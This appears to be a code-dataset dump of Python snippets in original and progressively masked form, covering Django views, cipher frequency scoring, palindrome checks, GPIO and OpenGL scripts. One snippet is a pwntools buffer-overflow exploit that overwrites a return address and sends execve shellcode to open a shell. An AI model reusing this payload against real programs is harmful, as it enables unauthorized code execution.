code stringlengths 13 6.09M | order_type stringclasses 2
values | original_example dict | step_ids listlengths 1 5 |
|---|---|---|---|
from django.shortcuts import render
from .forms import TeacherForm,Teacher
from django.http import HttpResponse
def add_teacher(request):
if request.method=="POST":
form=TeacherForm(request.POST)
if form.is_valid():
form.save()
return redirect("list_teachers")
else:
return HttpResponse("in... | normal | {
"blob_id": "cf97c87400649dd15e5d006707f9adfbd0c91b2c",
"index": 4118,
"step-1": "<mask token>\n\n\ndef teacher_detail(request, pk):\n teacher = Teacher.objects.get(pk=pk)\n return render(request, 'teacher_detail.html', {'teacher': teacher})\n\n\ndef edit_teacher(request, pk):\n teacher = Teacher.object... | [
2,
3,
4,
5,
6
] |
#import getCanditatemap() from E_18_hacksub
import operator, pdb, collections, string
ETAOIN = """ etaoinsrhldcumgyfpwb.,vk0-'x)(1j2:q"/5!?z346879%[]*=+|_;\>$#^&@<~{}`""" #order taken from https://mdickens.me/typing/theory-of-letter-frequency.html, with space added at the start, 69 characters overall
length = 128
#ETA... | normal | {
"blob_id": "63a9060e9933cc37b7039833be5f071cc7bf45bf",
"index": 7873,
"step-1": "<mask token>\n\n\ndef getLettercount(mess):\n charcount = getCanditatemap()\n for char in mess:\n if char in charcount:\n charcount[char] += 1\n return charcount\n\n\n<mask token>\n\n\ndef englishFreqMatc... | [
2,
3,
5,
6,
7
] |
# @Time : 2019/6/2 8:42
# @Author : Xu Huipeng
# @Blog : https://brycexxx.github.io/
class Solution:
def isPalindrome(self, x: int) -> bool:
num_str = str(x)
i, j = 0, len(num_str) - 1
while i < j:
if num_str[i] == num_str[j]:
i += 1
j -= 1... | normal | {
"blob_id": "40f57ccb1e36d307b11e367a2fb2f6c97051c65b",
"index": 6759,
"step-1": "class Solution:\n\n def isPalindrome(self, x: int) ->bool:\n num_str = str(x)\n i, j = 0, len(num_str) - 1\n while i < j:\n if num_str[i] == num_str[j]:\n i += 1\n j ... | [
3,
4,
5,
6,
7
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
files = ['data0Tue_Dec_30_20_37_34_2014.txt',
'data0Tue_Dec_30_20_37_49_2014.txt',
'data0Tue_Dec_30_20_38_04_2014.txt',
'data0Tue_Dec_30_20_38_19_2014.txt',
'data0Tue_Dec_30_20_38_34_2014.txt',
'data0Tue_Dec_30_20_38_49_2014.txt',
'dat... | flexible | {
"blob_id": "b63221af86748241fdce34052819569a06d37afe",
"index": 6965,
"step-1": "<mask token>\n",
"step-2": "files = ['data0Tue_Dec_30_20_37_34_2014.txt',\n 'data0Tue_Dec_30_20_37_49_2014.txt',\n 'data0Tue_Dec_30_20_38_04_2014.txt',\n 'data0Tue_Dec_30_20_38_19_2014.txt',\n 'data0Tue_Dec_30_20_38_3... | [
0,
1,
2
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
r.sendline('A' * 76 + p32(134516736 - 4) + p32(134513676) + p32(134516736))
r.sendline(shellcode)
r.interactive()
<|reserved_special_token_1|>
<|reserved_special_token_0|>
shellcode = p32(134516736 + 4) + asm('mov eax,SYS_execv... | flexible | {
"blob_id": "cf70d6064fd4a43bc17cd852aaf04afade73d995",
"index": 9252,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nr.sendline('A' * 76 + p32(134516736 - 4) + p32(134513676) + p32(134516736))\nr.sendline(shellcode)\nr.interactive()\n",
"step-3": "<mask token>\nshellcode = p32(134516736 + 4) + asm('mo... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
class Solution(object):
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Solution(object):
def exist(self, board, word):
"""
:type board: List[List[str]]
:type word: str
:rtype: bool
"""
... | flexible | {
"blob_id": "9b8db3407313a3e39d429b7c10897fc447fcdc27",
"index": 1337,
"step-1": "<mask token>\n\n\nclass Solution(object):\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass Solution(object):\n\n def exist(self, board, word):\n \"\"\"\n :type board: List[List[str]]\n :type word: ... | [
1,
2,
3,
4,
5
] |
# -*- coding: utf-8 -*-
from django.db import models
from django.contrib.auth.models import User
from django import forms
from django.utils.translation import ugettext_lazy as _
from django.contrib.auth.models import User
TYPE_ENT = (
( 'ROOT' , 'ROOT' ),
( 'TIERS', 'TIERS'),
)
class EntiteClass(models.Mode... | normal | {
"blob_id": "a094207b2cd9a5a4bd409ac8a644268f3808e346",
"index": 7023,
"step-1": "<mask token>\n\n\nclass UserProfile(models.Model):\n <mask token>\n <mask token>\n\n def __unicode__(self):\n return '%s : %s' % (self.user, self.tiers)\n\n @property\n def list_name(self):\n t = Entite... | [
3,
4,
6,
9,
10
] |
from unittest import TestCase
# auto-test toggled test class to monitor changes to is_palindrome function
class Test_is_palindrome(TestCase):
def test_is_palindrome(self):
from identify_a_palindrome import is_palindrome
self.assertTrue(is_palindrome("Asdfdsa"))
self.assertTrue(is_palindrome... | normal | {
"blob_id": "785b54dce76d6906df513a8bde0110ab6fd63357",
"index": 7083,
"step-1": "<mask token>\n\n\nclass Test_is_palindrome(TestCase):\n <mask token>\n <mask token>\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass Test_is_palindrome(TestCase):\n\n def test_is_palindrome(self):\n from i... | [
1,
3,
4,
5,
6
] |
#%%
import numpy
import time
import scipy
import os
os.chdir('/home/bbales2/modal')
import pyximport
import seaborn
pyximport.install(reload_support = True)
import polybasisqu
reload(polybasisqu)
#from rotations import symmetry
#from rotations import quaternion
#from rotations import inv_rotations
# basis polynomial... | normal | {
"blob_id": "87df5481cf2dd5bb990a9b4bd5169d9293d6af79",
"index": 1144,
"step-1": "#%%\nimport numpy\nimport time\nimport scipy\nimport os\nos.chdir('/home/bbales2/modal')\nimport pyximport\nimport seaborn\npyximport.install(reload_support = True)\n\nimport polybasisqu\nreload(polybasisqu)\n\n#from rotations impo... | [
0
] |
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_ckeditor import CKEditorField
class BoldifyEncryptForm(FlaskForm):
boldMessage = StringField('Bolded Message: ', validators=[DataRequired()])
submit = SubmitField('Submit... | normal | {
"blob_id": "77b43d7d9cd6b912bcee471c564b47d7a7cdd552",
"index": 6227,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass BoldifyEncryptForm(FlaskForm):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass BoldifyEncryptForm(FlaskForm):\n boldMessage = StringField('Bolded... | [
0,
1,
2,
3
] |
<|reserved_special_token_0|>
def power_func(x, y, a=1, b=0):
return a * x ** y + b
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def power_func(x, y, a=1, b=0):
return a * x ** y + b
<|reserved_special_token_0|>
print(new_func(4, b=1))
print(new_func(1))
<|r... | flexible | {
"blob_id": "c9f1768e2f2dd47d637c2e577067eb6cd163e972",
"index": 8331,
"step-1": "<mask token>\n\n\ndef power_func(x, y, a=1, b=0):\n return a * x ** y + b\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef power_func(x, y, a=1, b=0):\n return a * x ** y + b\n\n\n<mask token>\nprint(new_func(4, b=1))... | [
1,
2,
3,
4
] |
<|reserved_special_token_0|>
class LayerBase(object):
def __init__(self, units_count, activation_func):
self.current_layer_dim = units_count
self.activation_func = activation_func
self.weights = None
self.bias = None
self.pre_activation = None
self.activation_layer... | flexible | {
"blob_id": "389ccddcbe2214ae5c012bc82a404a81942792d8",
"index": 1770,
"step-1": "<mask token>\n\n\nclass LayerBase(object):\n\n def __init__(self, units_count, activation_func):\n self.current_layer_dim = units_count\n self.activation_func = activation_func\n self.weights = None\n ... | [
4,
7,
9,
10,
12
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
urlpatterns = patterns('commtrack_reports.views', ('^commtrackreports$',
'reports'), ('^sampling_points$', 'sampling_points'), (
'^commtrack_testers$', 'testers'), ('^date_range$', 'date_range'), (
'^create_report$', '... | flexible | {
"blob_id": "6d244b719200ae2a9c1a738e746e8c401f8ba4e2",
"index": 3342,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nurlpatterns = patterns('commtrack_reports.views', ('^commtrackreports$',\n 'reports'), ('^sampling_points$', 'sampling_points'), (\n '^commtrack_testers$', 'testers'), ('^date_range... | [
0,
1,
2,
3
] |
import os
import struct
import sys
import wave
sys.path.insert(0, os.path.dirname(__file__))
C5 = 523
B4b = 466
G4 = 392
E5 = 659
F5 = 698
VOLUME = 12000
notes = [
[VOLUME, C5],
[VOLUME, C5],
[VOLUME, B4b],
[VOLUME, C5],
[0, C5],
[VOLUME, G4],
[0, C5],
[VOLUME, G4],
[VOLUME, C5],
... | normal | {
"blob_id": "4fb563985bd99599e88676e167ee84a95b018aba",
"index": 5414,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nsys.path.insert(0, os.path.dirname(__file__))\n<mask token>\nfor volume, frequency in notes:\n samples = square_wave(int(44100 / frequency // 2))\n samples = gain(samples, volume)\n... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def Run(datasetFile):
userFile = open(datasetFile, 'r')
instanceList = []
instanceCount = 0
featureCount = 0
for instance in userFile:
tempStr = instance
instanceCount += 1
for entry i... | flexible | {
"blob_id": "ee7efea569b685ad8d6922e403421227e9ea6922",
"index": 6277,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef Run(datasetFile):\n userFile = open(datasetFile, 'r')\n instanceList = []\n instanceCount = 0\n featureCount = 0\n for instance in userFile:\n tempStr = inst... | [
0,
1,
2,
3
] |
# Copyright (C) 2014 Abhay Vardhan. All Rights Reserved.
"""
Author: abhay.vardhan@gmail.com
We have not yet added tests which exercise the HTTP GET directly.
"""
__author__ = 'abhay'
from nose.tools import *
import test_data
import search_index
class TestClass:
def setUp(self):
search_index.buildIndex(tes... | normal | {
"blob_id": "a9c0251b3422457b2c0089b70308a70b09cfa0e0",
"index": 7276,
"step-1": "<mask token>\n\n\nclass TestClass:\n\n def setUp(self):\n search_index.buildIndex(test_data.sample_food_trucks_data)\n\n def tearDown(self):\n pass\n\n def test_case_query_index(self):\n assert_equals(... | [
11,
13,
14,
18,
19
] |
from DataStructures.BST.util import *
def storeInorder(root, inorder):
if root is None:
return
storeInorder(root.left, inorder)
inorder.append(root.data)
storeInorder(root.right, inorder)
def arrayToBST(arr, root):
# Base Case
if root is None:
return
# First update the ... | normal | {
"blob_id": "d2af2b25a1ba2db93c977a13fe0273919bc2e6e0",
"index": 7768,
"step-1": "<mask token>\n\n\ndef storeInorder(root, inorder):\n if root is None:\n return\n storeInorder(root.left, inorder)\n inorder.append(root.data)\n storeInorder(root.right, inorder)\n\n\n<mask token>\n",
"step-2": ... | [
1,
3,
4,
5,
6
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Migration(migrations.Migration):
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Migration(migrations.Migration):
dependencies = [m... | flexible | {
"blob_id": "f2c53efa4b7c2df592582e3093ff269b703be1e0",
"index": 3054,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [migrations.sw... | [
0,
1,
2,
3,
4
] |
# 文字列(結合)
str1 = "py"
str2 = "thon"
print(str1+str2)
| normal | {
"blob_id": "d95cbca8e892f18f099b370e139176770ce0c1b7",
"index": 8270,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(str1 + str2)\n",
"step-3": "str1 = 'py'\nstr2 = 'thon'\nprint(str1 + str2)\n",
"step-4": "# 文字列(結合)\n\nstr1 = \"py\"\nstr2 = \"thon\"\nprint(str1+str2)\n",
"step-5": null,
"... | [
0,
1,
2,
3
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
for xml_path in glob.glob('./input/**/*.xml', recursive=True):
current, image = read_alto_for_training(xml_path)
images[image] = current
for key in current:
data[key].extend(current[key])
<|reserved_special_tok... | flexible | {
"blob_id": "41e642c4acb212470577ef43908a1dcf2e0f5730",
"index": 7159,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor xml_path in glob.glob('./input/**/*.xml', recursive=True):\n current, image = read_alto_for_training(xml_path)\n images[image] = current\n for key in current:\n data[k... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(s1, GPIO.IN)
GPIO.setup(s2, GPIO.IN)
<|reserved_special_token_0|>
while 1:
if GPIO.input(s1) == False:
data1 = 1
counter += 1
else:
data1 = ... | flexible | {
"blob_id": "e1cc4e17bffcbbae3e7785e4c55acde167a8a50a",
"index": 6482,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\nGPIO.setup(s1, GPIO.IN)\nGPIO.setup(s2, GPIO.IN)\n<mask token>\nwhile 1:\n if GPIO.input(s1) == False:\n data1 = 1\n coun... | [
0,
1,
2,
3,
4
] |
import hlp
import pdb
class Nnt(list):
"""
Generic layer of neural network
"""
def __init__(self):
"""
Initialize the neural network base object.
"""
self.tag = None
def y(self, x):
"""
build sybolic expression of output {y} given input {x}
t... | normal | {
"blob_id": "fb53ea6a7184c0b06fb8a4cbfaf2145cc5c2e8e2",
"index": 9468,
"step-1": "<mask token>\n\n\nclass Nnt(list):\n <mask token>\n\n def __init__(self):\n \"\"\"\n Initialize the neural network base object.\n \"\"\"\n self.tag = None\n\n def y(self, x):\n \"\"\"\n ... | [
5,
6,
7,
8,
9
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
for i in k:
if n % i == 0:
f = 1
print('YES')
break
if f == 0:
print('NO')
<|reserved_special_token_1|>
n = int(input())
k = [4, 7, 47, 74, 44, 77, 444, 447, 474, 477, 777, 774, 747, 7444]
f = 0
... | flexible | {
"blob_id": "6161653fb789040d084e475e0ae25921e2e0676b",
"index": 2496,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor i in k:\n if n % i == 0:\n f = 1\n print('YES')\n break\nif f == 0:\n print('NO')\n",
"step-3": "n = int(input())\nk = [4, 7, 47, 74, 44, 77, 444, 447, 47... | [
0,
1,
2,
3
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
for x in range(0, 10, 3):
print('★', end=' ')
print()
print('------------------------')
for y in range(0, 10):
for x in range(0, 10):
print('★', end=' ')
print()
<|reserved_special_token_1|>
# 3번 반복하고 싶은 경우
# 별 10개를 한줄로
for x in ran... | flexible | {
"blob_id": "b360ba7412bd10e2818511cee81302d407f88fd1",
"index": 1895,
"step-1": "<mask token>\n",
"step-2": "for x in range(0, 10, 3):\n print('★', end=' ')\nprint()\nprint('------------------------')\nfor y in range(0, 10):\n for x in range(0, 10):\n print('★', end=' ')\n print()\n",
"step-... | [
0,
1,
2
] |
from utils import *
import copy
import torch.nn as nn
CUDA = torch.cuda.is_available()
def train_one_epoch(data_loader, net, loss_fn, optimizer):
net.train()
tl = Averager()
pred_train = []
act_train = []
for i, (x_batch, y_batch) in enumerate(data_loader):
if CUDA:
... | normal | {
"blob_id": "6ef78e4308f6e693f50df714a5d7af1785e49d7a",
"index": 7682,
"step-1": "<mask token>\n\n\ndef set_up(args):\n set_gpu(args.gpu)\n ensure_path(args.save_path)\n torch.manual_seed(args.random_seed)\n torch.backends.cudnn.deterministic = True\n\n\n<mask token>\n\n\ndef test(args, data, label, ... | [
2,
4,
6,
7,
8
] |
import math
import datetime as dt
import cv2
import os
from face import Face
class Video:
def __init__(self, vidSource, variableList=[], showWindow=True):
self.vidcap = cv2.VideoCapture(vidSource)
self.cascade = cv2.CascadeClassifier("face_cascade2.xml")
self.visibleFaceList = [] # contains all Face objects wi... | normal | {
"blob_id": "7af0566161c909457d40d3856434f1fb1e800aab",
"index": 1445,
"step-1": "import math\nimport datetime as dt\nimport cv2\nimport os\nfrom face import Face\n\nclass Video:\n\tdef __init__(self, vidSource, variableList=[], showWindow=True):\n\t\tself.vidcap = cv2.VideoCapture(vidSource)\n\t\tself.cascade =... | [
0
] |
<|reserved_special_token_0|>
def false_pos(y_true, y_pred):
smooth = 1
y_pred_pos = K.round(K.clip(y_pred, 0, 1))
y_pos = K.round(K.clip(y_true, 0, 1))
y_neg = 1 - y_pos
fp = K.sum(y_neg * y_pred_pos)
fp_ratio = (fp + smooth) / (K.sum(y_neg) + smooth)
return fp_ratio
<|reserved_special_t... | flexible | {
"blob_id": "18b10a68b2707b7bfeccbd31c5d15686453b3406",
"index": 6253,
"step-1": "<mask token>\n\n\ndef false_pos(y_true, y_pred):\n smooth = 1\n y_pred_pos = K.round(K.clip(y_pred, 0, 1))\n y_pos = K.round(K.clip(y_true, 0, 1))\n y_neg = 1 - y_pos\n fp = K.sum(y_neg * y_pred_pos)\n fp_ratio = ... | [
1,
3,
4,
5,
6
] |
from django.shortcuts import render
from rest_framework import status
from rest_framework.views import APIView
from rest_framework.response import Response
from polls.models import Poll
from .serializers import PollSerializer
# class PollView(APIView):
#
# def get(self, request):
# serializer = PollSeri... | normal | {
"blob_id": "866ff68744a16158b7917ca6defc35440208ae71",
"index": 8575,
"step-1": "<mask token>\n\n\ndef index(request):\n data = {}\n return render(request, 'polls/index.html', data)\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef index(request):\n data = {}\n return render(request, 'polls/i... | [
1,
2,
3,
4,
5
] |
import pytest
from django.utils.crypto import get_random_string
from django.utils.timezone import now
from respa_exchange import listener
from respa_exchange.ews.xml import M, NAMESPACES, T
from respa_exchange.models import ExchangeResource
from respa_exchange.tests.session import SoapSeller
class SubscriptionHandle... | normal | {
"blob_id": "e4bfa0a55fe0dbb547bc5f65554ef96be654ec7a",
"index": 2176,
"step-1": "<mask token>\n\n\nclass SubscriptionHandler(object):\n <mask token>\n <mask token>\n\n def handle_subscribe(self, request):\n if not request.xpath('//m:StreamingSubscriptionRequest', namespaces\n =NAMESPA... | [
4,
7,
8,
9,
10
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class ExperimentList(ListView):
pass
<|reserved_special_token_1|>
from django.views.generic import ListView
class ExperimentList(ListView):
pass
| flexible | {
"blob_id": "10990282c8aa0b9b26a69e451132ff37257acbc6",
"index": 3331,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass ExperimentList(ListView):\n pass\n",
"step-3": "from django.views.generic import ListView\n\n\nclass ExperimentList(ListView):\n pass\n",
"step-4": null,
"step-5": n... | [
0,
1,
2
] |
<|reserved_special_token_0|>
def predict_babelnet(input_path: str, output_path: str, resources_path: str
) ->None:
global mfs_counter
"""
DO NOT MODIFY THE SIGNATURE!
This is the skeleton of the prediction function.
The predict function will build your model, load the weights from the checkpoi... | flexible | {
"blob_id": "e3631a2a003f98fbf05c45a019250e76d3366949",
"index": 2582,
"step-1": "<mask token>\n\n\ndef predict_babelnet(input_path: str, output_path: str, resources_path: str\n ) ->None:\n global mfs_counter\n \"\"\"\n DO NOT MODIFY THE SIGNATURE!\n This is the skeleton of the prediction function... | [
7,
9,
11,
12,
15
] |
#!/usr/bin/env python
# Copyright (C) 2014 Open Data ("Open Data" refers to
# one or more of the following companies: Open Data Partners LLC,
# Open Data Research LLC, or Open Data Capital LLC.)
#
# This file is part of Hadrian.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this... | normal | {
"blob_id": "780dc49c3eaef3fb25ca0aac760326b1c3adc633",
"index": 6002,
"step-1": "<mask token>\n\n\nclass Dot(LibFcn):\n name = prefix + 'dot'\n sig = Sigs([Sig([{'x': P.Array(P.Array(P.Double()))}, {'y': P.Array(P.\n Double())}], P.Array(P.Double())), Sig([{'x': P.Map(P.Map(P.Double(\n )))},... | [
26,
42,
47,
53,
59
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Migration(migrations.Migration):
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Migration(migrations.Migration):
dependencies = [(... | flexible | {
"blob_id": "cf2c57dbb2c1160321bcd6de98691db48634d5d6",
"index": 5388,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('users', '00... | [
0,
1,
2,
3,
4
] |
# Stubs for torch.nn.utils (Python 3)
#
# NOTE: This dynamically typed stub was automatically generated by stubgen.
from .clip_grad import clip_grad_norm, clip_grad_norm_, clip_grad_value_
from .convert_parameters import parameters_to_vector, vector_to_parameters
from .spectral_norm import remove_spectral_norm, spectr... | normal | {
"blob_id": "5d9ace3b6c5b4e24fc3b20b5e5640f2fcdb252bb",
"index": 9292,
"step-1": "<mask token>\n",
"step-2": "from .clip_grad import clip_grad_norm, clip_grad_norm_, clip_grad_value_\nfrom .convert_parameters import parameters_to_vector, vector_to_parameters\nfrom .spectral_norm import remove_spectral_norm, sp... | [
0,
1,
2
] |
#!/usr/bin/env python
from ROOT import TFileMerger
import subprocess
def MergeFiles(output, fileList, skipList=[], acceptList=[], n=20):
merger = TFileMerger(False)
merger.OutputFile(output);
merger.SetMaxOpenedFiles(n);
print "Total number of files is {0}".format(len(fileList))
for fileName... | normal | {
"blob_id": "95f7710fb0137617025819b6240312ce02915328",
"index": 173,
"step-1": "#!/usr/bin/env python\n\nfrom ROOT import TFileMerger\nimport subprocess\n\ndef MergeFiles(output, fileList, skipList=[], acceptList=[], n=20):\n merger = TFileMerger(False)\n merger.OutputFile(output);\n merger.SetMaxOpene... | [
0
] |
from setuptools import setup
import sys
if not sys.version_info >= (3, 6, 0):
msg = 'Unsupported version %s' % sys.version
raise Exception(msg)
def get_version(filename):
import ast
version = None
with open(filename) as f:
for line in f:
if line.startswith('__version__'):
... | normal | {
"blob_id": "d3b55863c6e3a1b6cbdcec37db81ee42b769938d",
"index": 9039,
"step-1": "<mask token>\n\n\ndef get_version(filename):\n import ast\n version = None\n with open(filename) as f:\n for line in f:\n if line.startswith('__version__'):\n version = ast.parse(line).body... | [
1,
2,
3,
4,
5
] |
import erequests
from pyarc.base import RestException
class ResultWrapper(object):
def __init__(self, client, method, url):
self.client = client
self.method = method
self.url = url
self.response = None
def get(self):
if self.response is None:
self.client.wa... | normal | {
"blob_id": "4d1157b307d753abea721b93779ccc989c77d8e3",
"index": 6876,
"step-1": "import erequests\nfrom pyarc.base import RestException\n\n\nclass ResultWrapper(object):\n def __init__(self, client, method, url):\n self.client = client\n self.method = method\n self.url = url\n sel... | [
0
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
def has23(nums):
this = nums[0] == 2 or nums[0] == 3
that = nums[1] == 2 or nums[1] == 3
return this or that
| flexible | {
"blob_id": "174c4c1ed7f2197e012644999cf23f5e82f4b7c3",
"index": 3148,
"step-1": "<mask token>\n",
"step-2": "def has23(nums):\n this = nums[0] == 2 or nums[0] == 3\n that = nums[1] == 2 or nums[1] == 3\n return this or that\n",
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
... | [
0,
1
] |
# -*- coding: utf-8 -*-
"""
Created on Sat May 2 21:31:37 2020
@author: Emmanuel Torres Molina
"""
"""
Ejercicio 10 del TP2 de Teoría de los Circuitos II:
Un tono de 45 KHz y 200 mV de amplitud es distorsionada por un tono de 12 KHz
y 2V de amplitud. Diseñar un filtro pasa altos que atenúe la señal
inter... | normal | {
"blob_id": "dd59f3b1d8b17defe4e7f30fec594d01475319d2",
"index": 6211,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nplt.close('all')\n<mask token>\naxs[0].plot(t, s_t)\naxs[0].grid('True')\naxs[0].set_title('Señal Original')\naxs[0].set_ylim(-0.2, 0.2)\naxs[0].set_ylabel('[V]')\naxs[1].plot(t, r_t)\nax... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def zbits(n, k):
zeros = '0' * k
ones = '1' * (n - k)
binary = ones + zeros
string = {''.join(i) for i in itertools.permutations(binary, n)}
return string
<|reserved_special_token_0|>
<|reserved_special_t... | flexible | {
"blob_id": "a8d13c3fbf6051eba392bcdd6dcb3e946696585f",
"index": 9065,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef zbits(n, k):\n zeros = '0' * k\n ones = '1' * (n - k)\n binary = ones + zeros\n string = {''.join(i) for i in itertools.permutations(binary, n)}\n return string\n\n... | [
0,
1,
2,
3,
4
] |
#!/bin/python3
import sys
def fibonacciModified(t1, t2, n):
ti = t1
ti_1 = t2
for i in range (2, n):
ti_2 = ti + ti_1**2
ti = ti_1
ti_1 = ti_2
return ti_2
if __name__ == "__main__":
t1, t2, n = input().strip().split(' ')
t1, t2, n = [int(t1), int(t2), int(n)]
resul... | normal | {
"blob_id": "3838df627318b25767738da912f44e494cef40f3",
"index": 6833,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef fibonacciModified(t1, t2, n):\n ti = t1\n ti_1 = t2\n for i in range(2, n):\n ti_2 = ti + ti_1 ** 2\n ti = ti_1\n ti_1 = ti_2\n return ti_2\n\n\n<... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
def connectedCell(matrix, n, m):
visit = []
for j in range(n):
a = []
for i in range(m):
a.append(True)
visit.append(a)
path = 0
for i in range(n):
for j in range(m):
if visit[i][j]:
count = 0
... | flexible | {
"blob_id": "25a159ca2abf0176135086324ab355d6f5d9fe9e",
"index": 5054,
"step-1": "<mask token>\n\n\ndef connectedCell(matrix, n, m):\n visit = []\n for j in range(n):\n a = []\n for i in range(m):\n a.append(True)\n visit.append(a)\n path = 0\n for i in range(n):\n ... | [
1,
2,
3,
4,
5
] |
import time
import numpy as np
from OpenGL.GLUT import *
from OpenGL.GLU import *
from OpenGL.GL import *
from utils import *
g = 9.8
t_start = 0
def init():
glClearColor(1.0, 1.0, 1.0, 1.0)
glClear(GL_COLOR_BUFFER_BIT)
glColor3f(1.0, 0.0, 0.0)
glPointSize(2)
gluOrtho2D(0.0, 500.0, 0.0, 500.0)
... | normal | {
"blob_id": "d85c0929b22f57367c0e707bac78e56027113417",
"index": 4539,
"step-1": "<mask token>\n\n\ndef init():\n glClearColor(1.0, 1.0, 1.0, 1.0)\n glClear(GL_COLOR_BUFFER_BIT)\n glColor3f(1.0, 0.0, 0.0)\n glPointSize(2)\n gluOrtho2D(0.0, 500.0, 0.0, 500.0)\n\n\n<mask token>\n\n\ndef mouse(btn, s... | [
4,
6,
7,
8,
9
] |
#!/usr/bin/env python3
'''Testing File'''
import tensorflow.keras as K
def test_model(
network, data, labels, verbose=True
):
'''A Function that tests
a neural network'''
return network.evaluate(
x=data,
y=labels,
verbose=verbose
)
| normal | {
"blob_id": "39643454cbef9e6fa7979d0f660f54e07d155bc7",
"index": 7690,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef test_model(network, data, labels, verbose=True):\n \"\"\"A Function that tests\n a neural network\"\"\"\n return network.evaluate(x=data, y=labels, verbose=verbose)\n",
... | [
0,
1,
2,
3
] |
''' Converts luptitudes to maggies and stores in folder output
Written by P. Gallardo
'''
import numpy as np
import pandas as pd
import sys
assert len(sys.argv) == 2 # usage: lups2maggies.py /path/to/cat.csv
fname = sys.argv[1]
print("Converting maggies from catalog \n%s" % fname)
df = pd.read_csv(fname)
z = d... | normal | {
"blob_id": "e8971b3d183ded99a5fc03f031ef807280b8cc7f",
"index": 1744,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nassert len(sys.argv) == 2\n<mask token>\nprint(\"\"\"Converting maggies from catalog \n%s\"\"\" % fname)\n<mask token>\nnp.savetxt('./output/maggies.txt', to_exp)\n",
"step-3": "<mask t... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
class Error(Exception):
pass
class Warning(Exception):
pass
def gettimestr():
rtc = machine.RTC()
curtime = rtc.datetime()
_time = '%04d' % curtime[0] + '%02d' % curtime[1] + '%02d' % curtime[2
] + ' ' + '%02d' % curtime[4] + '%02d' % curtime[5]
return ... | flexible | {
"blob_id": "b934770e9e57a0ead124e245f394433ce853dec9",
"index": 8691,
"step-1": "<mask token>\n\n\nclass Error(Exception):\n pass\n\n\nclass Warning(Exception):\n pass\n\n\ndef gettimestr():\n rtc = machine.RTC()\n curtime = rtc.datetime()\n _time = '%04d' % curtime[0] + '%02d' % curtime[1] + '%0... | [
4,
5,
6,
8,
9
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Migration(migrations.Migration):
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Migration(migrations.Migration):
dependencies = [(... | flexible | {
"blob_id": "781cb59fb9b6d22547fd4acf895457868342e125",
"index": 8290,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('votes', '00... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
while True:
driver.get(
'https://www.google.co.in/maps/@18.9967228,73.118955,21z/data=!5m1!1e1?hl=en&authuser=0'
)
